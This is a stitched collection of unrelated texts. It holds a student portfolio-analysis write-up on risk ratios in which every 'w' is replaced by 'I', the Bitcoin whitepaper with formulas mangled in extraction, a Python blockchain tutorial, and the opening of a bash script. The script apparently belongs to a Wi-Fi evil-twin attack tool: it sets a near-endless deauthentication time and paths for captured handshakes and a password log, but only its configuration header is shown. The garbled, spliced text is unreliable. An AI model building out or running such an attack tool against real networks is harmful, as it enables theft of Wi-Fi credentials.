who have a higher risk tolerance. In terms of code, I used the bt package to retrieve the data betIen the predetermined start and end date for the companies in our ticker list. This data was then used to find the portfolio with the highest Sharpe ratio. For that, random Iights Ire assigned to each company and the ratio was computed. After running the number of simulations previously determined, the Iights with the highest Sharpe ratio will be located using loc() and labeled ‘sharpe_portfolio’ which is a dataframe containing the excess return, the volatility, Sharpe ratio, as Ill as the Iights for every company. I also located the portfolio with the loIst volatility, put it in a dataframe called ‘min_volatility_port’ which has the same attributes. The rest of the code of this segment simply created a picture with all the portfolios generated, displaying the efficient frontier and highlighting the portfolio with the highest Sharpe ratio and loIst volatility. • Value at Risk (VaR): VaR was chosen as a diagnostic tool to assess the model. In our case, it basically indicated the percentage of time in which a loss greater than 1% would occur over a period of 5 years. Its limitation is that although it measures how bad the best of the bad is, it does not measure how bad it can get, meaning the worst of the worst. In regards to the code, I first requested the adjusted closing for the companies in our ticker list in the determined time horizon. I then retrieved the Iights from our Sharpe portfolio, set the number of days I wanted to simulate as Ill as the cutoff, before calculating the returns of every company in every period; here: daily. Thereafter, I created a new variable called ‘sigma’, which was be a copy of our return variable, in order to ensure the right format and type for our Monte Carlo loop. The simulation is pretty straight forward, as it measures how many runs the returns fall within 1% or outside of it. I then Iighed the resulting returns by the Iight of the company in the portfolio and whenever the portfolio return was outside the set boundary, it would count as a ‘bad simulation’. Once that is done, the number of bad simulations was divided by the total number of simulations to end up with a percentage of how many simulations were bad, which equals our VaR • Treynor Ratio: For the investors that already have a perfectly diversified portfolio and would like to add more assets to it, there would be a higher Iight on the Treynor ratio. It basically uses beta as a risk factor because it carries the risk relative to the market, instead of standard deviation as in Sharpe, meaning only systematic or non-diversifiable risk. For the code, I first calculated the portfolio’s beta. For that, I defined a function ‘beta’ that reads the beta of every company and returns it. The next step is to run a loop that would enter the beta of every company in our ticker list into a new dataframe. After setting the index equal to the tickers and transposing the Sharpe portfolio Iights, I can concat the two thus resulting in two columns: one is the beta of every company and the second is the corresponding Iight in the portfolio. I then created a third column as the product of columns one and two. The sum of all entries in that column is the portfolio beta, which was then used as the denominator for the ratio. The nominator was already calculated as ‘Excess Return’ in the Sharpe portfolio. • Sortino Ratio: The Sortino ratio measures only the downside risk (downside deviation or semi-deviation) by measuring returns against a minimum acceptable return, 𝜏. It is surprising to know that most of the industry ignores the total number of periods taken and just calculates the downside deviation by choosing the periods with downside risk, which results in misleading results. Project Alpha uses all the periods to calculate the same, so as to have an advantage over those robo-advisors/financial advisors that do not follow this process. The alpha in the future would be generated by going long on companies with high correct Sortino and low incorrect Sortino as they are undervalued, and shorting those with low correct Sortino and high incorrect Sortino as these are overvalued. The Sortino ratio would be given more Iight for investors who are more risk averse. This part of the code started with retrieving the data for our benchmark, the S&P 500, for the period and the calculating the average daily and annual return. After that, I calculate the portfolio returns, ‘returns[“Returns”]’, by adding the products of every company’s Iight times its return, which gave us the portfolio return for every period. From here, I calculated the downside risk by comparing the portfolio return in every period to the daily average return of our benchmark in a for loop. Before I did that, I defined a new variable called ‘semi’, which is a data series and will be filled with whatever comes out of the loop every single time. If the portfolio return minus the average daily return of the benchmark was greater than 0 – meaning the portfolio earned more than the average of the S&P500 – the value for the period was set to 0 and added to the semi data series. If it is 0, which is extremely unlikely, but whatever, it would also be 0. If it is less than 0, hoIver, which indicates underperformance, I would square the portfolio return, which already gives us the semi variance I need for our next step. From here, I can simply take the square root of the average of the ‘semi’ data series to get the daily downside risk and multiplying it by the square root of 252, which gives us the annual number. After that, I have all the numbers to calculate the Sortino ratio. • Information Ratio: The information ratio measures the portfolio returns compared to the returns of a benchmark index, i.e. S&P500, after adjusting for its additional risk. It only looks at the excess return of the portfolio over the benchmark and the volatility or risk associated with it. I already have all the inputs I need to calculate his ratio. Thus, I simply created a new dataframe with the portfolio returns of every period and the benchmark returns of every period. To find the excess return, i.e. the nominator, I simply subtracted the latter from the former and assigned it to a new variable, which I called ‘excess_return’. The nominator would be the average return of the portfolio minus the average return of the benchmark, and the denominator would be the standard deviation of the ‘excess_return’ series. Finally, I printed short sentences with the results for every conditioning variable just described as an output in the console.

Bitcoin: A Peer-to-Peer Electronic Cash System Satoshi Nakamoto satoshin@gmx.com www.bitcoin.org Abstract. A purely peer-to-peer version of electronic cash would allow online payments to be sent directly from one party to another without going through a financial institution. Digital signatures provide part of the solution, but the main benefits are lost if a trusted third party is still required to prevent double-spending. We propose a solution to the double-spending problem using a peer-to-peer network. The network timestamps transactions by hashing them into an ongoing chain of hash-based proof-of-work, forming a record that cannot be changed without redoing the proof-of-work. The longest chain not only serves as proof of the sequence of events witnessed, but proof that it came from the largest pool of CPU power. As long as a majority of CPU power is controlled by nodes that are not cooperating to attack the network, they'll generate the longest chain and outpace attackers. The network itself requires minimal structure. Messages are broadcast on a best effort basis, and nodes can leave and rejoin the network at will, accepting the longest proof-of-work chain as proof of what happened while they were gone. 1. Introduction Commerce on the Internet has come to rely almost exclusively on financial institutions serving as trusted third parties to process electronic payments. While the system works well enough for most transactions, it still suffers from the inherent weaknesses of the trust based model. Completely non-reversible transactions are not really possible, since financial institutions cannot avoid mediating disputes. The cost of mediation increases transaction costs, limiting the minimum practical transaction size and cutting off the possibility for small casual transactions, and there is a broader cost in the loss of ability to make non-reversible payments for non- reversible services. With the possibility of reversal, the need for trust spreads. Merchants must be wary of their customers, hassling them for more information than they would otherwise need. A certain percentage of fraud is accepted as unavoidable. These costs and payment uncertainties can be avoided in person by using physical currency, but no mechanism exists to make payments over a communications channel without a trusted party. What is needed is an electronic payment system based on cryptographic proof instead of trust, allowing any two willing parties to transact directly with each other without the need for a trusted third party. Transactions that are computationally impractical to reverse would protect sellers from fraud, and routine escrow mechanisms could easily be implemented to protect buyers. In this paper, we propose a solution to the double-spending problem using a peer-to-peer distributed timestamp server to generate computational proof of the chronological order of transactions. The system is secure as long as honest nodes collectively control more CPU power than any cooperating group of attacker nodes. 1 2. Transactions We define an electronic coin as a chain of digital signatures. Each owner transfers the coin to the next by digitally signing a hash of the previous transaction and the public key of the next owner and adding these to the end of the coin. A payee can verify the signatures to verify the chain of ownership. Transaction Hash Transaction Hash Transaction Hash Owner 1's Public Key Owner 2's Public Key Owner 3's Public Key Owner 0's Signature Owner 1's Signature The problem of course is the payee can't verify that one of the owners did not double-spend the coin. A common solution is to introduce a trusted central authority, or mint, that checks every transaction for double spending. After each transaction, the coin must be returned to the mint to issue a new coin, and only coins issued directly from the mint are trusted not to be double-spent. The problem with this solution is that the fate of the entire money system depends on the company running the mint, with every transaction having to go through them, just like a bank. We need a way for the payee to know that the previous owners did not sign any earlier transactions. For our purposes, the earliest transaction is the one that counts, so we don't care about later attempts to double-spend. The only way to confirm the absence of a transaction is to be aware of all transactions. In the mint based model, the mint was aware of all transactions and decided which arrived first. To accomplish this without a trusted party, transactions must be publicly announced [1], and we need a system for participants to agree on a single history of the order in which they were received. The payee needs proof that at the time of each transaction, the majority of nodes agreed it was the first received. 3. Timestamp Server The solution we propose begins with a timestamp server. A timestamp server works by taking a hash of a block of items to be timestamped and widely publishing the hash, such as in a newspaper or Usenet post [2-5]. The timestamp proves that the data must have existed at the time, obviously, in order to get into the hash. Each timestamp includes the previous timestamp in its hash, forming a chain, with each additional timestamp reinforcing the ones before it. Hash Hash Owner 2's Signature Owner 1's Private Key Owner 2's Private Key Owner 3's Private Key Block Item Item ... 2 Block Item Item ... Verify Verify Sign Sign 4. Proof-of-Work To implement a distributed timestamp server on a peer-to-peer basis, we will need to use a proof- of-work system similar to Adam Back's Hashcash [6], rather than newspaper or Usenet posts. The proof-of-work involves scanning for a value that when hashed, such as with SHA-256, the hash begins with a number of zero bits. The average work required is exponential in the number of zero bits required and can be verified by executing a single hash. For our timestamp network, we implement the proof-of-work by incrementing a nonce in the block until a value is found that gives the block's hash the required zero bits. Once the CPU effort has been expended to make it satisfy the proof-of-work, the block cannot be changed without redoing the work. As later blocks are chained after it, the work to change the block would include redoing all the blocks after it. The proof-of-work also solves the problem of determining representation in majority decision making. If the majority were based on one-IP-address-one-vote, it could be subverted by anyone able to allocate many IPs. Proof-of-work is essentially one-CPU-one-vote. The majority decision is represented by the longest chain, which has the greatest proof-of-work effort invested in it. If a majority of CPU power is controlled by honest nodes, the honest chain will grow the fastest and outpace any competing chains. To modify a past block, an attacker would have to redo the proof-of-work of the block and all blocks after it and then catch up with and surpass the work of the honest nodes. We will show later that the probability of a slower attacker catching up diminishes exponentially as subsequent blocks are added. To compensate for increasing hardware speed and varying interest in running nodes over time, the proof-of-work difficulty is determined by a moving average targeting an average number of blocks per hour. If they're generated too fast, the difficulty increases. 5. Network The steps to run the network are as follows: 1) New transactions are broadcast to all nodes. 2) Each node collects new transactions into a block. 3) Each node works on finding a difficult proof-of-work for its block. 4) When a node finds a proof-of-work, it broadcasts the block to all nodes. 5) Nodes accept the block only if all transactions in it are valid and not already spent. 6) Nodes express their acceptance of the block by working on creating the next block in the chain, using the hash of the accepted block as the previous hash. Nodes always consider the longest chain to be the correct one and will keep working on extending it. If two nodes broadcast different versions of the next block simultaneously, some nodes may receive one or the other first. In that case, they work on the first one they received, but save the other branch in case it becomes longer. The tie will be broken when the next proof- of-work is found and one branch becomes longer; the nodes that were working on the other branch will then switch to the longer one. 3 Block Nonce Tx Tx ... Block Nonce Tx Tx ... Prev Hash Prev Hash New transaction broadcasts do not necessarily need to reach all nodes. As long as they reach many nodes, they will get into a block before long. Block broadcasts are also tolerant of dropped messages. If a node does not receive a block, it will request it when it receives the next block and realizes it missed one. 6. Incentive By convention, the first transaction in a block is a special transaction that starts a new coin owned by the creator of the block. This adds an incentive for nodes to support the network, and provides a way to initially distribute coins into circulation, since there is no central authority to issue them. The steady addition of a constant of amount of new coins is analogous to gold miners expending resources to add gold to circulation. In our case, it is CPU time and electricity that is expended. The incentive can also be funded with transaction fees. If the output value of a transaction is less than its input value, the difference is a transaction fee that is added to the incentive value of the block containing the transaction. Once a predetermined number of coins have entered circulation, the incentive can transition entirely to transaction fees and be completely inflation free. The incentive may help encourage nodes to stay honest. If a greedy attacker is able to assemble more CPU power than all the honest nodes, he would have to choose between using it to defraud people by stealing back his payments, or using it to generate new coins. He ought to find it more profitable to play by the rules, such rules that favour him with more new coins than everyone else combined, than to undermine the system and the validity of his own wealth. 7. Reclaiming Disk Space Once the latest transaction in a coin is buried under enough blocks, the spent transactions before it can be discarded to save disk space. To facilitate this without breaking the block's hash, transactions are hashed in a Merkle Tree [7][2][5], with only the root included in the block's hash. Old blocks can then be compacted by stubbing off branches of the tree. The interior hashes do not need to be stored. Block Hash0 Hash1 Hash2 Hash3 Tx0 Tx1 Tx2 Tx3 Block Header (Block Hash) Prev Hash Nonce Root Hash Hash01 Hash23 Block Block Header (Block Hash) Prev Hash Nonce Root Hash Hash01 Hash23 Hash2 Hash3 Tx3 Transactions Hashed in a Merkle Tree After Pruning Tx0-2 from the Block A block header with no transactions would be about 80 bytes. If we suppose blocks are generated every 10 minutes, 80 bytes * 6 * 24 * 365 = 4.2MB per year. With computer systems typically selling with 2GB of RAM as of 2008, and Moore's Law predicting current growth of 1.2GB per year, storage should not be a problem even if the block headers must be kept in memory. 4 8. Simplified Payment Verification It is possible to verify payments without running a full network node. A user only needs to keep a copy of the block headers of the longest proof-of-work chain, which he can get by querying network nodes until he's convinced he has the longest chain, and obtain the Merkle branch linking the transaction to the block it's timestamped in. He can't check the transaction for himself, but by linking it to a place in the chain, he can see that a network node has accepted it, and blocks added after it further confirm the network has accepted it. Longest Proof-of-Work Chain Block Header Block Header Block Header Prev Hash Nonce Prev Hash Nonce Prev Hash Nonce Merkle Root Merkle Root Merkle Root Hash01 Hash23 Merkle Branch for Tx3 Hash2 Hash3 Tx3 As such, the verification is reliable as long as honest nodes control the network, but is more vulnerable if the network is overpowered by an attacker. While network nodes can verify transactions for themselves, the simplified method can be fooled by an attacker's fabricated transactions for as long as the attacker can continue to overpower the network. One strategy to protect against this would be to accept alerts from network nodes when they detect an invalid block, prompting the user's software to download the full block and alerted transactions to confirm the inconsistency. Businesses that receive frequent payments will probably still want to run their own nodes for more independent security and quicker verification. 9. Combining and Splitting Value Although it would be possible to handle coins individually, it would be unwieldy to make a separate transaction for every cent in a transfer. To allow value to be split and combined, transactions contain multiple inputs and outputs. Normally there will be either a single input from a larger previous transaction or multiple inputs combining smaller amounts, and at most two outputs: one for the payment, and one returning the change, if any, back to the sender. It should be noted that fan-out, where a transaction depends on several transactions, and those transactions depend on many more, is not a problem here. There is never the need to extract a complete standalone copy of a transaction's history. 5 Transaction In Out In ... ... 10. Privacy The traditional banking model achieves a level of privacy by limiting access to information to the parties involved and the trusted third party. The necessity to announce all transactions publicly precludes this method, but privacy can still be maintained by breaking the flow of information in another place: by keeping public keys anonymous. The public can see that someone is sending an amount to someone else, but without information linking the transaction to anyone. This is similar to the level of information released by stock exchanges, where the time and size of individual trades, the "tape", is made public, but without telling who the parties were. Traditional Privacy Model Identities Transactions New Privacy Model Identities Transactions As an additional firewall, a new key pair should be used for each transaction to keep them from being linked to a common owner. Some linking is still unavoidable with multi-input transactions, which necessarily reveal that their inputs were owned by the same owner. The risk is that if the owner of a key is revealed, linking could reveal other transactions that belonged to the same owner. 11. Calculations We consider the scenario of an attacker trying to generate an alternate chain faster than the honest chain. Even if this is accomplished, it does not throw the system open to arbitrary changes, such as creating value out of thin air or taking money that never belonged to the attacker. Nodes are not going to accept an invalid transaction as payment, and honest nodes will never accept a block containing them. An attacker can only try to change one of his own transactions to take back money he recently spent. The race between the honest chain and an attacker chain can be characterized as a Binomial Random Walk. The success event is the honest chain being extended by one block, increasing its lead by +1, and the failure event is the attacker's chain being extended by one block, reducing the gap by -1. The probability of an attacker catching up from a given deficit is analogous to a Gambler's Ruin problem. Suppose a gambler with unlimited credit starts at a deficit and plays potentially an infinite number of trials to try to reach breakeven. We can calculate the probability he ever reaches breakeven, or that an attacker ever catches up with the honest chain, as follows [8]: p = probability an honest node finds the next block q = probability the attacker finds the next block qz = probability the attacker will ever catch up from z blocks behind Trusted Third Party q ={ 1 if p≤q} z q/pz if pq 6 Counterparty Public Public Given our assumption that p > q, the probability drops exponentially as the number of blocks the attacker has to catch up with increases. With the odds against him, if he doesn't make a lucky lunge forward early on, his chances become vanishingly small as he falls further behind. We now consider how long the recipient of a new transaction needs to wait before being sufficiently certain the sender can't change the transaction. We assume the sender is an attacker who wants to make the recipient believe he paid him for a while, then switch it to pay back to himself after some time has passed. The receiver will be alerted when that happens, but the sender hopes it will be too late. The receiver generates a new key pair and gives the public key to the sender shortly before signing. This prevents the sender from preparing a chain of blocks ahead of time by working on it continuously until he is lucky enough to get far enough ahead, then executing the transaction at that moment. Once the transaction is sent, the dishonest sender starts working in secret on a parallel chain containing an alternate version of his transaction. The recipient waits until the transaction has been added to a block and z blocks have been linked after it. He doesn't know the exact amount of progress the attacker has made, but assuming the honest blocks took the average expected time per block, the attacker's potential progress will be a Poisson distribution with expected value:  = z qp To get the probability the attacker could still catch up now, we multiply the Poisson density for each amount of progress he could have made by the probability he could catch up from that point: ∞ ke−{q/pz−k ifk≤z} ∑k=0 k!⋅ 1 ifkz Rearranging to avoid summing the infinite tail of the distribution... z ke− z−k 1−∑k=0 k! 1−q/p  Converting to C code... #include <math.h> double AttackerSuccessProbability(double q, int z) { double p = 1.0 - q; double lambda = z * (q / p); double sum = 1.0; int i, k; for (k = 0; k <= z; k++) { double poisson = exp(-lambda); for (i = 1; i <= k; i++) poisson *= lambda / i; sum -= poisson * (1 - pow(q / p, z - k)); } return sum; } 7 Running some results, we can see the probability drop off exponentially with z. q=0.1 z=0 P=1.0000000 z=1 P=0.2045873 z=2 P=0.0509779 z=3 P=0.0131722 z=4 P=0.0034552 z=5 P=0.0009137 z=6 P=0.0002428 z=7 P=0.0000647 z=8 P=0.0000173 z=9 P=0.0000046 z=10 P=0.0000012 q=0.3 z=0 P=1.0000000 z=5 P=0.1773523 z=10 P=0.0416605 z=15 P=0.0101008 z=20 P=0.0024804 z=25 P=0.0006132 z=30 P=0.0001522 z=35 P=0.0000379 z=40 P=0.0000095 z=45 P=0.0000024 z=50 P=0.0000006 Solving for P less than 0.1%... P < 0.001 q=0.10 z=5 q=0.15 z=8 q=0.20 z=11 q=0.25 z=15 q=0.30 z=24 q=0.35 z=41 q=0.40 z=89 q=0.45 z=340 12. Conclusion We have proposed a system for electronic transactions without relying on trust. We started with the usual framework of coins made from digital signatures, which provides strong control of ownership, but is incomplete without a way to prevent double-spending. To solve this, we proposed a peer-to-peer network using proof-of-work to record a public history of transactions that quickly becomes computationally impractical for an attacker to change if honest nodes control a majority of CPU power. The network is robust in its unstructured simplicity. Nodes work all at once with little coordination. They do not need to be identified, since messages are not routed to any particular place and only need to be delivered on a best effort basis. Nodes can leave and rejoin the network at will, accepting the proof-of-work chain as proof of what happened while they were gone. They vote with their CPU power, expressing their acceptance of valid blocks by working on extending them and rejecting invalid blocks by refusing to work on them. Any needed rules and incentives can be enforced with this consensus mechanism. 8 References [1] W. Dai, "b-money," http://www.weidai.com/bmoney.txt, 1998. [2] H. Massias, X.S. Avila, and J.-J. Quisquater, "Design of a secure timestamping service with minimal trust requirements," In 20th Symposium on Information Theory in the Benelux, May 1999. [3] S. Haber, W.S. Stornetta, "How to time-stamp a digital document," In Journal of Cryptology, vol 3, no 2, pages 99-111, 1991. [4] D. Bayer, S. Haber, W.S. Stornetta, "Improving the efficiency and reliability of digital time-stamping," In Sequences II: Methods in Communication, Security and Computer Science, pages 329-334, 1993. [5] S. Haber, W.S. Stornetta, "Secure names for bit-strings," In Proceedings of the 4th ACM Conference on Computer and Communications Security, pages 28-35, April 1997. [6] A. Back, "Hashcash - a denial of service counter-measure," http://www.hashcash.org/papers/hashcash.pdf, 2002. [7] R.C. Merkle, "Protocols for public key cryptosystems," In Proc. 1980 Symposium on Security and Privacy, IEEE Computer Society, pages 122-133, April 1980. [8] W. Feller, "An introduction to probability theory and its applications," 1957. 9

BUILD YOUR OWN BLOCKCHAIN: A PYTHON TUTORIAL Download the full Jupyter/iPython notebook from Github here Build Your Own Blockchain – The Basics¶ This tutorial will walk you through the basics of how to build a blockchain from scratch. Focusing on the details of a concrete example will provide a deeper understanding of the strengths and limitations of blockchains. For a higher-level overview, I’d recommend this excellent article from BitsOnBlocks. Transactions, Validation, and updating system state¶ At its core, a blockchain is a distributed database with a set of rules for verifying new additions to the database. We’ll start off by tracking the accounts of two imaginary people: Alice and Bob, who will trade virtual money with each other. We’ll need to create a transaction pool of incoming transactions, validate those transactions, and make them into a block. We’ll be using a hash function to create a ‘fingerprint’ for each of our transactions- this hash function links each of our blocks to each other. To make this easier to use, we’ll define a helper function to wrap the python hash function that we’re using. In [1]: import hashlib, json, sys def hashMe(msg=""): # For convenience, this is a helper function that wraps our hashing algorithm if type(msg)!=str: msg = json.dumps(msg,sort_keys=True) # If we don't sort keys, we can't guarantee repeatability! if sys.version_info.major == 2: return unicode(hashlib.sha256(msg).hexdigest(),'utf-8') else: return hashlib.sha256(str(msg).encode('utf-8')).hexdigest() Next, we want to create a function to generate exchanges between Alice and Bob. We’ll indicate withdrawals with negative numbers, and deposits with positive numbers. We’ll construct our transactions to always be between the two users of our system, and make sure that the deposit is the same magnitude as the withdrawal- i.e. that we’re neither creating nor destroying money. In [2]: import random random.seed(0) def makeTransaction(maxValue=3): # This will create valid transactions in the range of (1,maxValue) sign = int(random.getrandbits(1))*2 - 1 # This will randomly choose -1 or 1 amount = random.randint(1,maxValue) alicePays = sign * amount bobPays = -1 * alicePays # By construction, this will always return transactions that respect the conservation of tokens. # However, note that we have not done anything to check whether these overdraft an account return {u'Alice':alicePays,u'Bob':bobPays} Now let’s create a large set of transactions, then chunk them into blocks. In [3]: txnBuffer = [makeTransaction() for i in range(30)] Next step: making our very own blocks! We’ll take the first k transactions from the transaction buffer, and turn them into a block. Before we do that, we need to define a method for checking the valididty of the transactions we’ve pulled into the block. For bitcoin, the validation function checks that the input values are valid unspent transaction outputs (UTXOs), that the outputs of the transaction are no greater than the input, and that the keys used for the signatures are valid. In Ethereum, the validation function checks that the smart contracts were faithfully executed and respect gas limits. No worries, though- we don’t have to build a system that complicated. We’ll define our own, very simple set of rules which make sense for a basic token system: The sum of deposits and withdrawals must be 0 (tokens are neither created nor destroyed) A user’s account must have sufficient funds to cover any withdrawals If either of these conditions are violated, we’ll reject the transaction. In [4]: def updateState(txn, state): # Inputs: txn, state: dictionaries keyed with account names, holding numeric values for transfer amount (txn) or account balance (state) # Returns: Updated state, with additional users added to state if necessary # NOTE: This does not not validate the transaction- just updates the state! # If the transaction is valid, then update the state state = state.copy() # As dictionaries are mutable, let's avoid any confusion by creating a working copy of the data. for key in txn: if key in state.keys(): state[key] += txn[key] else: state[key] = txn[key] return state In [5]: def isValidTxn(txn,state): # Assume that the transaction is a dictionary keyed by account names # Check that the sum of the deposits and withdrawals is 0 if sum(txn.values()) is not 0: return False # Check that the transaction does not cause an overdraft for key in txn.keys(): if key in state.keys(): acctBalance = state[key] else: acctBalance = 0 if (acctBalance + txn[key]) < 0: return False return True Here are a set of sample transactions, some of which are fraudulent- but we can now check their validity! In [6]: state = {u'Alice':5,u'Bob':5} print(isValidTxn({u'Alice': -3, u'Bob': 3},state)) # Basic transaction- this works great! print(isValidTxn({u'Alice': -4, u'Bob': 3},state)) # But we can't create or destroy tokens! print(isValidTxn({u'Alice': -6, u'Bob': 6},state)) # We also can't overdraft our account. print(isValidTxn({u'Alice': -4, u'Bob': 2,'Lisa':2},state)) # Creating new users is valid print(isValidTxn({u'Alice': -4, u'Bob': 3,'Lisa':2},state)) # But the same rules still apply! True False False True False Each block contains a batch of transactions, a reference to the hash of the previous block (if block number is greater than 1), and a hash of its contents and the header Building the Blockchain: From Transactions to Blocks¶ We’re ready to start making our blockchain! Right now, there’s nothing on the blockchain, but we can get things started by defining the ‘genesis block’ (the first block in the system). Because the genesis block isn’t linked to any prior block, it gets treated a bit differently, and we can arbitrarily set the system state. In our case, we’ll create accounts for our two users (Alice and Bob) and give them 50 coins each. In [7]: state = {u'Alice':50, u'Bob':50} # Define the initial state genesisBlockTxns = [state] genesisBlockContents = {u'blockNumber':0,u'parentHash':None,u'txnCount':1,u'txns':genesisBlockTxns} genesisHash = hashMe( genesisBlockContents ) genesisBlock = {u'hash':genesisHash,u'contents':genesisBlockContents} genesisBlockStr = json.dumps(genesisBlock, sort_keys=True) Great! This becomes the first element from which everything else will be linked. In [8]: chain = [genesisBlock] For each block, we want to collect a set of transactions, create a header, hash it, and add it to the chain In [9]: def makeBlock(txns,chain): parentBlock = chain[-1] parentHash = parentBlock[u'hash'] blockNumber = parentBlock[u'contents'][u'blockNumber'] + 1 txnCount = len(txns) blockContents = {u'blockNumber':blockNumber,u'parentHash':parentHash, u'txnCount':len(txns),'txns':txns} blockHash = hashMe( blockContents ) block = {u'hash':blockHash,u'contents':blockContents} return block Let’s use this to process our transaction buffer into a set of blocks: In [10]: blockSizeLimit = 5 # Arbitrary number of transactions per block- # this is chosen by the block miner, and can vary between blocks! while len(txnBuffer) > 0: bufferStartSize = len(txnBuffer) ## Gather a set of valid transactions for inclusion txnList = [] while (len(txnBuffer) > 0) & (len(txnList) < blockSizeLimit): newTxn = txnBuffer.pop() validTxn = isValidTxn(newTxn,state) # This will return False if txn is invalid if validTxn: # If we got a valid state, not 'False' txnList.append(newTxn) state = updateState(newTxn,state) else: print("ignored transaction") sys.stdout.flush() continue # This was an invalid transaction; ignore it and move on ## Make a block myBlock = makeBlock(txnList,chain) chain.append(myBlock) In [11]: chain[0] Out[11]: {'contents': {'blockNumber': 0, 'parentHash': None, 'txnCount': 1, 'txns': [{'Alice': 50, 'Bob': 50}]}, 'hash': '7c88a4312054f89a2b73b04989cd9b9e1ae437e1048f89fbb4e18a08479de507'} In [12]: chain[1] Out[12]: {'contents': {'blockNumber': 1, 'parentHash': '7c88a4312054f89a2b73b04989cd9b9e1ae437e1048f89fbb4e18a08479de507', 'txnCount': 5, 'txns': [{'Alice': 3, 'Bob': -3}, {'Alice': -1, 'Bob': 1}, {'Alice': 3, 'Bob': -3}, {'Alice': -2, 'Bob': 2}, {'Alice': 3, 'Bob': -3}]}, 'hash': '7a91fc8206c5351293fd11200b33b7192e87fad6545504068a51aba868bc6f72'} As expected, the genesis block includes an invalid transaction which initiates account balances (creating tokens out of thin air). The hash of the parent block is referenced in the child block, which contains a set of new transactions which affect system state. We can now see the state of the system, updated to include the transactions: In [13]: state Out[13]: {'Alice': 72, 'Bob': 28} Checking Chain Validity¶ Now that we know how to create new blocks and link them together into a chain, let’s define functions to check that new blocks are valid- and that the whole chain is valid. On a blockchain network, this becomes important in two ways: When we initially set up our node, we will download the full blockchain history. After downloading the chain, we would need to run through the blockchain to compute the state of the system. To protect against somebody inserting invalid transactions in the initial chain, we need to check the validity of the entire chain in this initial download. Once our node is synced with the network (has an up-to-date copy of the blockchain and a representation of system state) it will need to check the validity of new blocks that are broadcast to the network. We will need three functions to facilitate in this: checkBlockHash: A simple helper function that makes sure that the block contents match the hash checkBlockValidity: Checks the validity of a block, given its parent and the current system state. We want this to return the updated state if the block is valid, and raise an error otherwise. checkChain: Check the validity of the entire chain, and compute the system state beginning at the genesis block. This will return the system state if the chain is valid, and raise an error otherwise. In [14]: def checkBlockHash(block): # Raise an exception if the hash does not match the block contents expectedHash = hashMe( block['contents'] ) if block['hash']!=expectedHash: raise Exception('Hash does not match contents of block %s'% block['contents']['blockNumber']) return In [15]: def checkBlockValidity(block,parent,state): # We want to check the following conditions: # - Each of the transactions are valid updates to the system state # - Block hash is valid for the block contents # - Block number increments the parent block number by 1 # - Accurately references the parent block's hash parentNumber = parent['contents']['blockNumber'] parentHash = parent['hash'] blockNumber = block['contents']['blockNumber'] # Check transaction validity; throw an error if an invalid transaction was found. for txn in block['contents']['txns']: if isValidTxn(txn,state): state = updateState(txn,state) else: raise Exception('Invalid transaction in block %s: %s'%(blockNumber,txn)) checkBlockHash(block) # Check hash integrity; raises error if inaccurate if blockNumber!=(parentNumber+1): raise Exception('Hash does not match contents of block %s'%blockNumber) if block['contents']['parentHash'] != parentHash: raise Exception('Parent hash not accurate at block %s'%blockNumber) return state In [16]: def checkChain(chain): # Work through the chain from the genesis block (which gets special treatment), # checking that all transactions are internally valid, # that the transactions do not cause an overdraft, # and that the blocks are linked by their hashes. # This returns the state as a dictionary of accounts and balances, # or returns False if an error was detected ## Data input processing: Make sure that our chain is a list of dicts if type(chain)==str: try: chain = json.loads(chain) assert( type(chain)==list) except: # This is a catch-all, admittedly crude return False elif type(chain)!=list: return False state = {} ## Prime the pump by checking the genesis block # We want to check the following conditions: # - Each of the transactions are valid updates to the system state # - Block hash is valid for the block contents for txn in chain[0]['contents']['txns']: state = updateState(txn,state) checkBlockHash(chain[0]) parent = chain[0] ## Checking subsequent blocks: These additionally need to check # - the reference to the parent block's hash # - the validity of the block number for block in chain[1:]: state = checkBlockValidity(block,parent,state) parent = block return state We can now check the validity of the state: In [17]: checkChain(chain) Out[17]: {'Alice': 72, 'Bob': 28} And even if we are loading the chain from a text file, e.g. from backup or loading it for the first time, we can check the integrity of the chain and create the current state: In [18]: chainAsText = json.dumps(chain,sort_keys=True) checkChain(chainAsText) Out[18]: {'Alice': 72, 'Bob': 28} Putting it together: The final Blockchain Architecture¶ In an actual blockchain network, new nodes would download a copy of the blockchain and verify it (as we just did above), then announce their presence on the peer-to-peer network and start listening for transactions. Bundling transactions into a block, they then pass their proposed block on to other nodes. We’ve seen how to verify a copy of the blockchain, and how to bundle transactions into a block. If we recieve a block from somewhere else, verifying it and adding it to our blockchain is easy. Let’s say that the following code runs on Node A, which mines the block: In [19]: import copy nodeBchain = copy.copy(chain) nodeBtxns = [makeTransaction() for i in range(5)] newBlock = makeBlock(nodeBtxns,nodeBchain) Now assume that the newBlock is transmitted to our node, and we want to check it and update our state if it is a valid block: In [20]: print("Blockchain on Node A is currently %s blocks long"%len(chain)) try: print("New Block Received; checking validity...") state = checkBlockValidity(newBlock,chain[-1],state) # Update the state- this will throw an error if the block is invalid! chain.append(newBlock) except: print("Invalid block; ignoring and waiting for the next block...") print("Blockchain on Node A is now %s blocks long"%len(chain)) Blockchain on Node A is currently 7 blocks long New Block Received; checking validity... Blockchain on Node A is now 8 blocks long

#!/bin/bash ########## DEBUG Mode ########## if [ -z ${FLUX_DEBUG+x} ]; then FLUX_DEBUG=0 else FLUX_DEBUG=1 fi ################################ ####### preserve network ####### if [ -z ${KEEP_NETWORK+x} ]; then KEEP_NETWORK=0 else KEEP_NETWORK=1 fi ################################ ###### AUTO CONFIG SETUP ####### if [ -z ${FLUX_AUTO+x} ]; then FLUX_AUTO=0 else FLUX_AUTO=1 fi ################################ if [[ $EUID -ne 0 ]]; then echo -e "\e[1;31mYou don't have admin privilegies, execute the script as root.""\e[0m""" exit 1 fi if [ -z "${DISPLAY:-}" ]; then echo -e "\e[1;31mThe script should be exected inside a X (graphical) session.""\e[0m""" exit 1 fi clear ##################################### < CONFIGURATION > ##################################### DUMP_PATH="/tmp/TMPflux" HANDSHAKE_PATH="/root/handshakes" PASSLOG_PATH="/root/pwlog" WORK_DIR=`pwd` DEAUTHTIME="9999999999999" revision=9 version=2 IP=192.168.1.1 RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) #Colors white="\033[1;37m" grey="\033[0;37m" purple="\033[0;35m" red="\033[1;31m" green="\033[1;32m" yellow="\033[1;33m" Purple="\033[0;35m" Cyan="\033[0;36m" Cafe="\033[0;33m" Fiuscha="\033[0;35m" blue="\033[1;34m" transparent="\e[0m" general_back="Back" general_error_1="Not_Found" general_case_error="Unknown option. Choose again" general_exitmode="Cleaning and closing" general_exitmode_1="Disabling monitoring interface" general_exitmode_2="Disabling interface" 